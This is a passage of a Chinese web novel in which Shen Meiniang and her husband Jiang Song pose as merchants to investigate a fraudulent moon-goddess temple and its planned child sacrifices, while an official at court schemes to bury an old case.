“况且,我这次在上京的时候,就猜到沈美娘你的所有计划了……才不需要那个沈温来告诉我。”姜颂好像对他没靠沈温就猜出沈美娘的下落格外骄傲。 沈美娘看姜颂这样,忍不住轻笑:“原是如 此。我还以为,你会和我闹脾气,生我气呢?” “好吧,我是有些生气。”姜颂停下脚步。 他弯腰,把脸凑到沈美娘面前:“你快亲亲我,哄哄我。” 沈美娘用力亲了好几下,故意给姜颂脸上印了好几个红红的印子。 她看着姜颂的脸,笑出声:“你等会儿可不许擦,就等着回来,挨我阿爹阿娘骂吧。” 姜颂摸了摸脸上的印子,也没擦,呆呆地抚摸着被亲过的地方。 “沈美娘,你就知道我不会生你气,就欺负我。”姜颂控诉道。 “那我以后不亲你了……” “别!”姜颂伸手拉住沈美娘的衣袖,“算了,我这辈子认了。” 沈美娘喜欢他,他也喜欢沈美娘,被她欺负点就欺负点吧。 “不过,美娘,我其实这次真的没有生你气。”姜颂认真道。 沈美娘看到少年的眼里映着月光,干干净净的,道:“我知道,是我不够好,你才不告诉我,你的安排。” 姜颂语气珍重道:“但是我会努力成长的,我也会和沈温一样,成为和你并肩作战的战友!” 他这次就知道说出真实身份,肯定会让沈家父母察觉不对劲儿,牵连出沈美娘离开寨子后吃的苦,让他们伤心难过。 姜颂才故意隐瞒身份。 他已经越来越懂人情事故了,已经在努力成长了。 沈美娘听到姜颂的话,伸手帮他擦了擦脸上的胭脂:“不是的,我这次不告诉你,不是觉得你不好,只是你也是我计划的一环而已。” “我是相信你的善良,你的正直,还有……你对我的喜欢,才这样算计的。”沈美娘道。 姜颂望着沈美娘的眼神愈加迷离。 沈美娘柔柔轻笑:“不要拿你和沈温比,你们不一样。” “沈温,是拿来利用的。”沈美娘踮脚吻在姜颂的唇畔,在他耳边低声道:“但你,是我喜欢的。” 第58章 第58章打窝钓鱼ing 上京,谢府内。 谢阁老翻着史馆新送来让他过目的国史,状似随口问:“却寒,到哪里呢?可有来了什么新消息?” 郑愔答道:“除了前两日送来的那封信,他说陛下往西南去了,他后知后觉发现,立刻就跟了去外,暂未递什么新的消息来。” 谢阁老听到这话,目光一沉,却还是没说什么。 “老师,您说陛下去西南,会不会是为了查沈贵妃的案子?”郑愔道。 谢阁老翻了翻手里的国史:“不然呢?不是为了还沈贵妃的清白,你以为陛下不远万里去西南做什么。” “那咱们该怎么办……” 谢阁老依旧很冷静:“那个证人不是早就把当年的事情都交代了吗?卷宗也早给沈贵妃定了罪,就算是陛下去,又能查出什么来?” “却寒不是也去了吗?他那般聪慧的人,定然有的是法子把这案子摁死。”他看到这一卷国史上某个熟悉的名字,“我倒是想起另一件事……” “祝羽年少时平南越,立下过赫赫战功,若是那时候就死了,就算比不上卫霍,也能功比宗悫,偏偏他要想不开和一帮流民搅和到一块。”谢阁老惋惜地摇头,“日后史官落笔,他怕是也就只进得去叛臣传了。” 郑愔听到这话,明白谢阁老的言下之意,道:“老师,这祝羽都死多少年了,祝家当年可是夷三族。这晦气东西,您提他做什么?” “那些聚众的流民呢?”谢阁老又问。 郑愔压低声音:“您忘了,当年先帝重病,怕叶明舟借这件事控制蜀中,势力坐大,把这件事都交给咱们处置了。当时这事还是学生和罪人李守义去做的,咱俩做事,您还能不放心吗?” 谢阁老微笑:“那便好。此次,陛下去西南,有些旧事传到他耳朵里就不好了。” 郑愔忙不迭点头,又讲好话道:“我瞧老师脸上血色好多了,我瞧您是真的要反老还童了。” 谢阁老道:“你们把我交代的话都听进去,把该做的事都做好,老夫不操心你们,自然就可以活得久些。” 郑愔奉承了几句。 他也知道谢阁老怕老又惧死,这些年没少吃所谓灵丹妙药。 想来是这些日子,谢阁老又吃了什么灵药,才瞧着精神头好了不少- “美娘,你说什么,你要去月神庙求药?”沈志意外道。 当年沈美娘把月神庙砸了不说,她还破坏过祭祀月神的仪式,她难道不担心被天师和他的徒弟们认出来吗? 沈美娘让田幼安帮她在鬓边簪花,对着镜子看了又看,很是满意。 “他们认不出来的。”沈美娘很是确定,“当年天师可是说过,我是被月神诅咒的孽种,这辈子是活不过十五岁的。” 可惜,她不仅活过了十五岁,还去外头的世界转了一圈,如今还衣锦还乡了。 那个所谓天师,怎么可能认出她来? 沈志心里还是有些担心,姜颂却已经换好衣裳进来了。 他过来挽沈美娘的手,道:“美娘,我准备好了,我们走吧。” 沈志看了眼姜颂。 他已经从沈美娘口里了解了这个姜颂。 沈志有些看不惯这个姜颂——在他眼里,美娘这般好的人,怎么能嫁给一个满身铜臭味的商人。 美娘这样的佳人,就该嫁给才子,嫁给那些温文尔雅的贵公子才是。 但沈志也知道这个沈美娘自己的选择。 他见自己劝不动沈美娘,就对姜颂道:“你不是美娘的夫君吗?你怎么能看着她去涉险呢?” “可是美娘这是在查案。”姜颂耿直道。 沈美娘她就是想自己去查案,虽然姜颂放心不下沈美娘,但也不能阻止她。 查案肯定会有风险啊。 沈志还想说什么,沈美娘却开口打断道:“沈志,我知道你是为我着想,但这个案子必须我自己去查。” 沈美娘拉住姜颂的手,对沈志道:“我们先走了。” 两人去月神庙的路上,沈美娘看姜颂像是有话要说,道:“你想问什么就问吧。” 姜颂被沈美娘戳破心思,有些不好意思地偏过头:“那个……那个沈志,是不是喜欢你?” 沈美娘颔首认下。 “怎么那么多人都喜欢你!”姜颂有些意外。 沈美娘故意反问:“我长得好看,脾气又好,喜欢我不是很正常吗?” “美娘你被天下人喜欢都正常,可是那几个男的喜欢你,我……”姜颂脑海里闪过那几个男人的脸,语气不佳,“我看到他们就心烦。” 沈美娘“哦”了一声,调侃道:“你吃醋呢?” “没有。”姜颂否认。 沈美娘却笑:“没吃醋,怎么话里话外都这么酸?” 姜颂被沈美娘逗来逗去,干脆认了:“我就是吃醋了,可以了吧。” 沈美娘被其他人喜欢,他觉得与有荣焉,可是他又忍不住嫉妒。 他嫉妒那些男人比他先认识美娘,嫉妒他们见过从前的美娘,嫉妒他们和美娘也有别的回忆。 沈美娘亲了亲姜颂的脸,哄道:“别气了,你是我唯一的恋人,你和他们都不一样。” 姜颂听到“唯一”两个字,心里稍微有了几分安慰。 他努力压着忍不住上扬的嘴角:“好吧。” 姜颂发觉沈美娘亲了他,路上的行人没一个人面露意外神色,觉得很是奇怪。 沈美娘看穿了他的想法。 她轻笑解释:“我们这里男女没成婚亲亲我我的都有,咱俩一看就是夫妻,更不会有人说什么。” “你以为我阿娘说的‘女儿会’是什么?那就是男男女女围着篝火对歌,对上歌了,看对眼了,就算成了。”沈美娘促狭一笑,“宋江江,你不会唱歌,我还喜欢你,你就偷着乐吧。” 姜颂听到这话,自得的同时又道:“我可以学!不就是唱歌,和用木叶吹情歌吗?我现在就开始学。” “祝你成功吧。”沈美娘道。 等姜颂去学,发现学来学去,把嘴皮都磨破了,还是吹得不怎么样就老实了。 两人又聊了一会儿,就走到了月神庙前。 沈美娘站在外面,发现从前只有一间砖瓦房供奉神灵的庙,如今竟已经扩成了好大一个庙。 这十八寨子挣了钱,不想着怎么挣更多的钱,却把钱都花在这些地方了。 沈 美娘刚跨过这月神庙的门槛,就看到有小道童迎了上来:“您二位像是外地人,可是听闻了我们月神娘娘的厉害之处,前来膜拜的?” “正是。”沈美娘看了眼身边的姜颂,说出早就准备好的说辞:“我和夫君成婚多年,没有子嗣,恰好行商路过此地,听闻只要心诚,月神什么答应,特地来了这趟。” 道童闻言点头:“二位请随我来。” 沈美娘走进正殿,看向那慈眉善目、面若好女的月神。 好像比被她砸过的那尊神像,这尊新修的神像要更高大一些,也要精美得多。 沈美娘按道童教她的礼仪,跪下给眼前的神灵磕头。 等她和姜颂都拜完月神,那道童又道:“两位若想要月神保佑你们早日生个贵子,也可以考虑捐些香油钱。月神被二人的诚心感动,肯定会更保佑你们。” 沈美娘面上笑着,心里却忍不住轻嘲。 这些人还是喜欢这般无所不用其极地敛财。 但沈美娘也没反驳,她只问:“敢问这香油钱该怎么捐?” 道童看沈美娘这般爽快,道:“不论多少,二位只要肯出资,替月神修庙宇,供养各位道长,月神都会知晓的。” “这样吧,我瞧你们这庙宇修的已经不错了,就给你们捐点香油钱,奉养各位道长好了。”沈美娘道。 “我也没有多的,就捐五十两黄金作为香油钱好了。”沈美娘看眼前的道童因她的话惊得瞪大了眼睛轻笑,“怎么?难道不够吗?” “没、没有……夫人善心,必会有好报的,这等大事,还请夫人等等,我去将师父喊来与您相商。”道童道。 沈美娘看道童快步离去,知道今日来此的第一个目的算是实现了。 约莫一盏茶的时间,就传来一阵脚步声。 来人不只道童和他口中的师父,还乌泱泱跟着一群人。 为首的那位沈美娘格外熟悉,就是当年那个说她是“孽种”的仙师。 至于仙师身边的两人——也是熟人。 沈美娘眯了眯眼,看着这些表面上看起来“仙风道骨”的人,不由回想起一些被埋在心底的记忆。 少年道长,在看到她时,常年如冰雪般绷着的脸,会轻轻笑开。 他会认真听她说话,他不会和别人一样说她是孽种,还会踮起脚给她折春日的梨花枝。 他的眼里少年人心动的青涩与害羞,全都落在沈美娘的眼里。 在沈美娘十二岁多管闲事,连阿爹阿娘都反对她时,也只有他鼓励她。 “阿怪,我也觉得我师父他们这样蒙骗人是不对的。” “阿怪,你应该去揭发他们的勾当。” “阿怪,你真厉害,竟然真的拿到证据了……” …… 直到,等她真的需要那人的证明时,得到的回答却是—— “阿怪,你就算再恨他们,也不可以杀人啊。” “阿怪,所有错,可都是你一人犯下的。” “美娘!你想什么呢?”姜颂握紧沈美娘的手,看她神情不对打断了她的回忆。 沈美娘回过神,笑着摇头:“没什么。” 她盯着越来越近的人,笑意愈加深了几分。 仙师问两人:“听我这徒孙说,二位可是要给庙中捐香油钱?” 沈美娘笑着点头,她的目光故意拂过仙师身边的两个徒弟。 那两人在看到沈美娘眼睛时,也是一愣。 仙师见沈美娘真打算捐那般多钱,心中欢喜至极,生怕她反悔:“这是我的徒儿李振鹤,夫人捐香油钱的事,便由他来负责了。” 沈美娘对李振鹤温和地笑了笑,道:“那就麻烦道长了。” 她借口说今日带的钱不够,让李振鹤和她一同回客栈去取。 路上,李振鹤试探问:“不知夫人和公子是哪里人?” 姜颂话里故意夹了很多上京口音道:“我们是上京来的行商,不过我夫人是南州人。” 沈美娘也用的是南州话:“道长问这个做什么?” 李振鹤听姜颂给他翻译了一下沈美娘的话,他温和笑道:“没什么,就是看两位出手阔绰,想知道你们是哪里人。” 姜颂道:“道长竟对这种俗事都敢兴趣,倒不像别的修仙之人般清冷。” 李振鹤觉得姜颂这话像是在讥讽,但这人瞧着又是个单纯的人,他一时也拿不准主意。 等到了客栈,沈美娘上楼给李振鹤取了钱,递给他:“道长,这钱捐给你们可得真用到每位道长身上,到时候我和夫君可是要去看的。” “你们谁都不许独吞。”沈美娘一副市侩精明的样子。 李振鹤又听完姜颂给他讲了沈美娘的话,心里的怀疑不由少了很多。 这个人肯定不会是沈美娘。 他记忆里的沈美娘,真诚、热烈、明媚,绝不会是这副商贾妇人的无知浅薄样。 再说—— 他师父那个最小的徒弟李洵风,以前和沈美娘那般要好,沈美娘若是回来,怎么会不去找他? 他今日回去试探试探李洵风,就能有答案了。 等李振鹤离开后,姜颂找沈美娘邀功:“美娘,我今日没掉链子吧?” “没有!你今日做得很好。”沈美娘道。 她还生怕姜颂演不好一个商人,但……除了傻了点,整体来说,还是像个富商家的傻儿子的。 姜颂被夸奖了,就美滋滋地抱着沈美娘贴贴。 沈美娘现在真的很信任他。 不仅今日带他去了月神庙,还和他说了捐香油钱的目的—— 等过两日去看钱有没有用到每个道长身上时,沈美娘就会趁机观察这个新的月神庙,顺便和成了仙师徒弟的旧友联系上。 沈美娘说那个仙师看徒弟们看得紧,除了最信任的负责杂事的李振鹤,其他徒弟几乎都不准随意出庙门。 只能用这种办法和李洵风联系上。 “夫人,冉夫人来找您,说是想见您一面。”门外传来客栈伙计的声音。 沈美娘听到这话也不意外,让怀里的姜颂起身坐好,道:“让她上来吧。” 每一环都在按沈美娘计划的有条不紊地进行着。 仙师如今又打算“祭祀”月神,又需要新娘或是儿女了。 原本沈美娘还觉得需要等联系上李洵风后,让他撺掇仙师说月神想要女儿。 不过既然丽娘来找她了,那就说明,这次祭祀月神已经定下了是要女儿,那也不需要李洵风多言了。 沈美娘让姜颂先去隔壁的房里等着,她得单独和冉丽娘聊聊。 当然,还有个原因是因为姜颂最是敏感心软,她怕他听到那些话,为她难过。 “坐吧。”沈美娘对进来的冉丽娘道。 她看着冉丽娘,轻笑:“不知道冉夫人,来找我一个外地人做什么?” 冉丽娘沉默了许久,才道:“美娘,我知道你认出我了,我也一眼就认出你来了。” 沈美娘不动声色。 见她这样无所谓的样子,冉丽娘心一横,跪到沈美娘面前来,道:“美娘,当年的事,是我对不起你,你就算要杀我,我也没有半句怨言。” “但……我女儿她才五岁,你救救她,我求你救救她。”冉丽娘哀求道。 沈美娘依旧不为所动,眼里是淡淡嘲讽:“那我呢?” “你女儿才 五岁,你让我救她,那我当年呢?我当年也才十二岁啊。“沈美娘轻声道。 甚至,她还没有十二岁。 她生在夏末,但那一年,还没等到夏末过生辰,她就只能被迫离开这里了。 谁来可怜她呢? 第59章 第59章人人都爱沈美娘。 十二岁那年之后,沈美娘曾经在很长一段时间里,都在想为何冉丽娘和那十二个人都不为她证明。 她们都看见了啊。 她们都看见了沈美娘没有杀人,她只是扎了沈头人一刀,还是扎在腿上的。 那一刀根本不足以致人死亡,其他人也只是晕了过去。 沈美娘带着她们从月神庙逃跑了,每一个人沈美娘都救了。 可里面就连和沈美娘最亲的冉丽娘,都没有出来为沈美娘证明。 逃往蜀中的路上,遇到灾荒往东边跑的路上,还有刚到南州的日子……沈美娘只要一得空都在想这些事情。 阿娘不是都说“善有善报,恶有恶报”吗? 可为何,她做了善事,却反而要被逼到走投无路、背井离乡的地步。 她用了很长时间,才把重塑好崩塌的善恶观。 沈美娘想起那些旧事,扯了个笑:“丽娘,你知道当年为何我明明只救你就可以了,为何还要从一开始就打算要揭露真相吗?” 丽娘道:“我知道,因为沈美娘你心善。” 听到这话,沈美娘微微滞了片刻,笑得有些岔气:“你、你……” 她拼命忍了一会儿,才把笑意压下去,平静下来。 “只救你一个,还会继续死人,今天死丽娘,明天就会死美娘,还有月娘、瑶娘……谁都逃不掉。”沈美娘眼中嘲讽之意更甚,“我最开始觉得你们都太懦弱,才不敢说出真相。” 沈美娘俯身,捏住眼前哭得双眼通红的女人的下巴:“后来我才发现,你们不是懦弱,是太蠢。” 唇亡齿寒的道理,对这座山里大多数人都太过艰涩。 只是,沈美娘没想到七年过去,这里的人还是蠢得依旧。 沈美娘松开冉丽娘,起身朗声道:“明知山里有一只猛兽,却不想着去将它猎杀,还跪地央求它放自己一条生路,妄求畜生能做人。” “在你们所有人都向那头猛兽跪下求饶时,有人鼓起勇气拿着石头上去拼命,你们却还要帮老虎杀掉反抗的人。你以为,你会立功,你会成为例外,殊不知,老虎吃完其他人,还是会来吃你。”沈美娘冷笑。 她直接道:“我这次不会帮你。” “当年那个不知天高地厚的沈美娘已经变了,我现在,没有那么好的心思去帮你了。”沈美娘倚着窗看着外面的风景,“你与其求我,不如回去好好陪陪你女儿,珍惜剩下的日子。” 丽娘听到这话,知道沈美娘是下定主意不帮她,只能恨当年自己做出那般怯懦又愚蠢的决定。 她起身,看着沈美娘冷漠的样子,思考再三,还是道:“美娘,当年的事,是我对不起你……我们都对不起你。” 沈美娘听到丽娘的话还是没什么反应,她摇着手里的折扇,连幅度都没有一丝变化。 沈美娘听到门被打开,又被人轻轻合上,依旧摇着手里的折扇。 她当年被关起来等待论罪的时候,还有她逃亡蜀中生死不明的日夜,她的阿爹和阿娘都在为她伤心悲恸,乃至华发早生。 冉丽娘就该尝尝这其中滋味。 沈美娘望着远处连绵的群山,近的深绿,远的浅青,一重连着一重。 也不知道当年的她,是怎么从这里跑出去的。 沈美娘正默默出神,忽然觉得肩头一重,她转身抬眼,就看到了身后的姜颂。 他道:“入秋有段日子了,你小心着凉。” 沈美娘看出了姜颂眼里的复杂情绪,即使他拼命掩饰,也还是能捕捉到他眼里的一丝心疼。 沈美娘语气确定:“你都听到了。” “我不是故意偷听的!”姜颂连忙自证清白,“是这房子不隔音,我才听到的!我当真不是有意的……” 姜颂话没说完,就被沈美娘用力抱住。 他听到她闷闷的声音:“你是不是觉得我很坏,见死不救,还说话刻薄……” “没有!”姜颂回抱住怀里的沈美娘,“‘以德报怨,何以报德?’美娘你一点都没错,我好佩服你的。” 沈美娘仰头看姜颂:“佩服我?” 姜颂点头,眼里全是对她的仰慕:“你十二岁就能救那么多人,好厉害!” “我十二岁的时候,还在被我父皇罚跪,他总是说我太蠢了……要是美娘你是我父皇和母后的孩子就好了。”姜颂道。 沈美娘摇头:“那可不行,我只做我阿爹阿娘的小孩。” 姜颂听到沈美娘反驳的话,脑子难得飞快旋转,他正想开口却被沈美娘打断:“宋江江,你知不知道,你绞尽脑汁都笨嘴拙舌的样子……很有趣。” 姜颂有些不好意思地抿了抿唇,道:“我想让你开心些。” 沈美娘盯着姜颂的眼睛,他墨般漆黑的眸中映着她的影子。 他总是这么坦诚。 沈美娘笑着歪了歪头:“我很开心。” 她将姜颂扑倒在床上。 就在姜颂以为沈美娘要做那种事的时候,她却只是贴着他的胸膛,道:“我们睡会儿吧。” 今日跑来跑去,她有点累了。 姜颂闻言抱住沈美娘,等到她呼吸逐渐平缓,他才轻轻替她捋了捋不听话的碎发。 望着沈美娘恬淡温和的睡颜,姜颂才敢露出一丝心疼。 姜颂知道沈美娘好强,也知道她不想别人为她难过和伤心。 他刚才是故意用“夸赞”,掩盖他心里的心疼的。 美娘从前已经过得很苦了,他不能让她还要花心思来安慰他。 姜颂很轻很轻地,贴到沈美娘的身边去。 他闭眼,眼角旋即落下一滴泪,没进沈美娘的发中。 姜颂抱着沈美娘,闻着她身上令人熟悉的香味,沉沉睡去。 他不知道,在他睡着后,沈美娘的眼睫轻轻颤了颤。 片刻后,沈美娘在他怀里蹭了蹭,与他贴得更紧了许多。 — 那日见过冉丽娘后,沈美娘又找小乞丐们打听了一番最近祭祀月神的事。 这次仙师说的是月神需要“儿女”,需要他们献祭三对童男童女“上去”,供月神挑选。 沈美娘大抵打听了一下挑中的人,其中三人都是当年被她救下,却不愿为她作证之人的儿女。 这也算是善恶有报。 沈美娘给了小乞丐这次的钱,见他衣衫有些单薄,想了想就又给他多塞了几粒碎银。 她嘱咐:“入秋了,给你和你那群小跟班们,一人都添件厚衣裳吧。” 小乞丐连连点头。 “我后面要看的,你要是一个人独吞,这钱我可是会要回来的。”沈美娘想了想,“你要做他们老大,也得给点好处,才能收买人心。” 沈美娘温声道:“你去置办,他们感激的是你,你花点小钱赚得感激。你要是不置办,我戳破了,你可就不讨好了。” 这小乞丐也算是通达:“夫人,您放心,我懂您的意思。您是好心人,给我钱,还教我道理。” 小乞丐离开后,沈美娘算着过去这些日子了,也该去和李洵风相认了。 沈美娘和姜颂到月神庙时,道童一看他俩就迎了上来,态度比上次热络许多:“您二位来了,快请进。” 跨门槛时,道童让沈美娘小心,比伺候亲娘都要仔细。 沈美娘面上感谢,心里却知道——果然,天底下就没有钱摆不平的事。 就算是这所谓清修静地,只要有银子金子,还不是可以说来就来。 道童将沈美娘和姜颂两人引进月神庙的内院,这里是平日里仙师和他的徒弟们生活和修习的地方。 沈美娘给姜颂使了个眼神,他就理解了她的意思。 下一刻,沈美娘“哎哟”了两声,姜颂立刻喊道童来:“内人身体不适,不知这庙中可有能如厕的地方。” 道童立刻引两人去了茅房,可刚到地方,姜颂就道:“不是说,让我们看上次捐的香油钱,有没有用到各位道长身上吗?小道长,你怎么还不带我们去?” 道童道:“可是叶夫人……” “她不过就是个妇人,我才是一家之主,我去就是了。”姜颂佯装不耐,“我就说不该 为了求子捐钱,这还得来来回回跑几趟,多麻烦,干脆算了……” 道童听出姜颂想要把钱要回去的意思,连忙道:“您和我先来吧,那等叶夫人好了,自己来就是。” 沈美娘在里头听着外面没了动静,就立刻从房中出来了。 她观察了一下这个月神庙,注意到了茅房附近有个小门。 她盯着那个门看了会儿,心里忽然有了主意。 她又一路往前走,发现院中有棵梨花树,像是种了有些年头了。 沈美娘听到有说话声,立刻躲到梨花树后。 还好那些人并未往这边看过来,沈美娘心里松了口气,却忽然听到一个声音—— “阿怪。” 沈美娘听到熟悉的声音和称呼,却没有回头。 过了会儿,她才佯装疑惑地往身后看去,她皱眉对李振鹤道:“你喊谁啊?我吗?我有名字,你别在这儿乱喊,小心我让我夫君把香油钱要回来。” 李振鹤看眼前人泼辣又世俗的样子,心里既惋惜,又松了口气。 她果然不是沈美娘。 “你……” 李振鹤正想说什么,沈美娘就又“哎哟”一声,操着一口南州口音的话道:“早上吃多了,道长你让让,我还得再去方便……” 沈美娘往茅房而去。 她又待了会儿,琢磨着时间应该差不多了,就从屋内出来。 然后,她刚推开门就又听到了熟悉的称呼。 “阿怪。” 但这次这声音里有哽咽,沈美娘也知道这是谁的声音。 她转身,就看到李洵风红着眼眶看着她。 他眼里是久别重逢的喜悦,甚至,有点喜得过头了。 沈美娘见过很多喜欢她的男人,以至于,她也只需一眼就能确定—— 李洵风也喜欢她。 第60章 第60章晒太阳。 沈美娘没想到李洵风也会喜欢她,但眼下显然不是闲聊的时候。 她将李洵风拽到梨花树下,小声道:“你怎么会跟着仙师他们搞这些?” 在沈美娘记忆里,十八寨子有三种人,一种是这里最多的那部分人,他们坚定不移相信月神的存在,打心底里相信月神会庇佑他们。 还有一类人,就像田幼安她家,他一家虽然不像旁人那般迷信月神,却也不会反对或是否定,也随大流供奉着。 最少的就是像沈美娘这样,在很小的时候就觉得月神压根不存在,觉得所谓仙师们都是在装神弄鬼。 沈美娘在很长一段时间内,都觉得不会有人理解她。 直到她遇到李洵风——确切些说他那时还叫“白三手”。 他是摸包儿,偷人东西的,这边的人也喊这种人叫“三只手”。 李洵风从来不相信神鬼之说,沈美娘也最喜欢和他一起玩。 当年她被诬陷杀人后,也是李洵风偷来钥匙,才放走了她。 沈美娘其实不理解李洵风为何要跟着仙师。 以他偷东西的本事,养活自己肯定不难,完全可以和沈志一样,等大一些了就找个更能养活自己的活计。 李洵风听到沈美娘的话,擦了擦泪:“当年你被迫远走他乡,我想帮你找证据证明你的清白。” 沈美娘听到这句话怔在原地。 “阿怪,我知道你不会杀人,我相信你。”李洵风道。 不然他当年也不会冒着会和沈美娘一起被烧死,以告月神的风险,去帮沈美娘偷钥匙放她走。 李洵风笑道:“这些年我找到了一些天师和别人卖那些‘药’的证据,但还是不足以证明当年你没有杀人。” 沈美娘追问:“具体是些什么证据,你整理好,我会让我的一个朋友青词来取,你到时候全给她。” “可是这样会不会暴露你。”李洵风有些担忧。 沈美娘摇头:“不会,你且等着她就是了,她武功很好。她到时候会趁着夜色,来个声东击西,把人引开后,来找你拿证据。” “好。”李洵风看起来沈美娘神采奕奕,似乎过得很好,问:“阿怪,你这些年在外面还好吗?” “很好啊,我在外面看到了很多这里看不到的风景。”沈美娘促狭一笑,“不过——你说你去上京要过饭,还得过贵人的赏钱,肯定是吹牛的。” 沈美娘道:“上京的贵人们出行,都是有仆人在前面敲锣开路的,乞儿根本就没机会上前。” 李洵风没想到沈美娘连他说过的这种话都还记得,有些无奈失笑:“是,那时候小嘛,谁不爱吹牛。” “我就不爱。”沈美娘道。 她从小就是一个很容易信别人话的人,也是个格外喜欢较真的人。 丽娘口中梦里神游过的云梦泽,李洵风说过的上京出手阔绰的贵人,还有沈志说他跟南边的水匪们是结义兄弟…… 沈美娘小时候是真的信了,才会那般无比向往大山外面。 她还为自己和他们比起来太普通,有过小小的失落。 沈美娘注意到李洵风眼里藏不住的爱意,聊着聊着就有些头疼。 她当然想和旧友叙旧,可她又总觉得聊久了,容易给李洵风错觉。 沈美娘只好硬把话扯到她想说的事上来:“说起来,我已经成婚了,你平常待在这里出不去,恐怕还不知道吧?” 李洵风听到这句话愣住,不敢置信道:“成婚呢?” 沈美娘点头:“就是和我一起给月神庙捐香油钱的那位,不是都说了我们是夫妻吗?你怎的还会惊讶?” 李洵风当然以为那人是沈美娘雇来演戏的。 在他的认知里,沈美娘是眼高于顶,谁都看不上的。 李洵风在短暂的迟疑后,挤出一个笑容:“原来如此,难怪我瞧他今日如此配合你。” 李洵风明白沈美娘是看出了他的心思,在委婉地拒绝他。 既然如此,他也不该让她为难。 沈美娘听到有脚步声,压低声音嘱咐:“等会儿,记得把话往祭祀月神的事上引。” 说完这话,沈美娘忙装作不认识李洵风的样子:“道长,你是不是听不懂我说话,我问你我夫君去哪里呢?” 沈美娘说着外乡话,还咋咋呼呼的,就好像她当真不认识李洵风一样。 看沈美娘迟迟不来的李振鹤走了过来,道:“叶夫人,您说什么,可以说慢些吗?” “我说,我夫君去哪里呢?我让他给我指个路他都不知道!你们这些人拿了我的钱,就是这种态度吗?”沈美娘这话咄咄逼人,活像个市井泼妇。 李振鹤看谁都一脸冷漠的脸上,难得多了一丝很明显的厌恶和不耐。 这人生了和美娘如此相似的一双眼,但居然会是如此无赖的性子。 就在沈美娘用南州话骂李洵风和李振鹤许久后,姜颂“终于”循声而来。 “娘子,我刚才看了,每位道长都拿到了钱,他们没谁敢私吞。”姜颂满口上京话解释,“再说,还不是你拖拖拉拉的,怪人家道长们不好。” 沈美娘佯装不高兴,冷哼一声:“那怎么呢?这钱可是我捐的,不乐意?那就把钱退给我!” 姜颂假装被沈美娘气到,拔高音量:“这是我的钱,还轮不上你来管……” 见他们夫妻两人“吵”了起来,李振鹤安抚他们:“夫妻之间,何必如此,不如告诉贫道,我来……” 沈美娘打断他的话,轻嗤:“你懂什么。” 她说得慢一些,李振鹤就能听懂沈美娘的话了。 但沈美娘没给他开口的机会,直接道:“我瞧你们这月神庙的人,也不怎么机灵,恐怕这供奉的神灵也不过如此,真能让我们夫妻二人求得子嗣吗?” “这整个思州,就属我们十八寨子供奉的月神是最灵的。”李洵风适时开口,“下月十五,就要行拜月仪式,给月神娘娘献上儿女供它挑选,您也可以来沾沾月神福泽。” 沈美娘满脸“惊喜”,偏过头看李振鹤,问:“他说的话,可是当真?” “这是自然。宋公子和叶夫人若是愿意,下月定给您二位留最好的位置。”李振鹤轻笑。 他怕沈美娘后悔把之前给的黄金要回去——那样的话,他那个老不死的师父,会扒了他们这些徒弟皮的。 “你说呢?”沈美娘瞥了姜颂一眼。 姜颂看起来还是很生气的样子,道:“那就来吧,就是怕你这个不争气的肚子,来了也没用。” “怪我做什么?我的姐妹们哪个不是儿女绕膝,是你有病吧……”沈美娘冷哼道。 两人又吵了一番,让站在一旁 的李振鹤和李洵风都听得耳朵疼。 最后还是沈美娘占了上风。 她道:“那我们下月十五会来,你们得给我们准备好位置,还有这仪式别折腾太久,我可坐不住。” 李振鹤全都一口应下。 沈美娘这才勉强点头,满脸不高兴地走了,故意没等姜颂。 “我这内人就这样,道长你别生气。”姜颂随口说了两句,就立刻去追沈美娘。 李振鹤眯了眯眼看着沈美娘和姜颂的背影。 “师兄,你在看什么?”李洵风见状故意开口问。 李振鹤这才收回目光,摇头道:“没什么。” 他话是这么说的,眼里却有一闪而过的警惕。 另一边已经离月神庙有好一段距离的姜颂,笑着在沈美娘面前邀功:“美娘,我刚才演得是不是很好?” “很好,我要是外人,都要以为你当真是商人了。”沈美娘真心实意夸赞他。 姜颂有些得意,但又觉得这样好像有些太沉不住气了。 他拼命压住笑意,道:“我刚才一直拖着李振鹤,没给你拖后腿吧。” 沈美娘:“没有,幸亏有你,我今日才能和李洵风这般轻易地对上话。” 沈美娘提到“李洵风”三个字,她以为姜颂会像上次般吃醋。 可他这次却格外平静。 不用哄姜颂本是好事,但沈美娘却又忍不住故意逗他:“你这次不吃醋呢?” 姜颂答得格外干脆:“不吃醋。” 沈美娘不解。 “你说了,我是你‘唯一’的恋人,我知道其他人都只是你的朋友和工具而已。”姜颂道。 他眼里满是骄傲,像是很得意他在沈美娘心中的特殊地位。 沈美娘却忍不住笑:“那我若是骗你的,可怎么好?” “你不会!我相信你,你才不会。”姜颂道。 秋阳已经不像夏日般炽烈,但它此刻温暖又明亮得恰到好处的明光,都铺在少年眼里。 他认真道:“我喜欢你,我就会永远信任你。” 如果两个人之间连信任都没有,又为何要相爱呢? 沈美娘眨了眨眼。 她忍不住在心里抱怨,秋天的太阳怎么还是这么刺眼。 但她这次没有再捉弄姜颂,只是握住他的手:“这可是你说的。” 姜颂应道:“嗯!” 沈美娘喃喃:“我要是十二岁就遇到你就好了。” “什么?”姜颂有些没反应过来。 沈美娘抱住姜颂,一字一句道:“兴许,我就能少浪费那么多时间。” 既然是注定不论何时遇到都会爱上的人,那就应该早些相识。 那样就可以在不够长的一生里,多爱彼此一些时候。 60-70 第61章 第61章死后又会是什么呢? 沈美娘在和李洵风联系上后,就等着青词和宝儿回来。 这两人也在一开始说好的时间前回来了,唯一让沈美娘有些意外的是——还有个陌生的女人也跟了过来。 这女人从看到沈美娘开始,眼睛就跟黏在她身上一样。 宝儿给沈美娘介绍道:“美娘,她就是蜀中那位很厉害的女商人,她叫颜舜华。” “颜娘子。”沈美娘很是有礼地对面前的女人颔首微笑。 颜舜华有些不好意思地收回目光,对她道:“见过叶夫人。” 沈美娘却听到了另外的声音—— “啊啊啊,系统,俺见到活的女主了!女主好美好温柔,剧情都崩成这狗屎样了,女主还是按照原剧情当上贵妃了!我靠,这就是强者绝不抱怨环境!” 沈美娘被这声音刺得耳朵疼,有些奇怪地观察眼前的颜舜华。 眼前这人明明没说话,那刚才的话难道是沈美娘的幻听不成? 她又瞧了瞧身边的人——好像真的只有她能听到颜舜华的心里话。 沈美娘面上不动声色,试探问:“不知道颜娘子此次前来,所为何事?” 这个颜舜华是蜀中富商,做的都是大生意,就算她发现了宝儿利用她算计十八寨子的头人,也不至于跟到这里来吧? 她这般闲的吗? 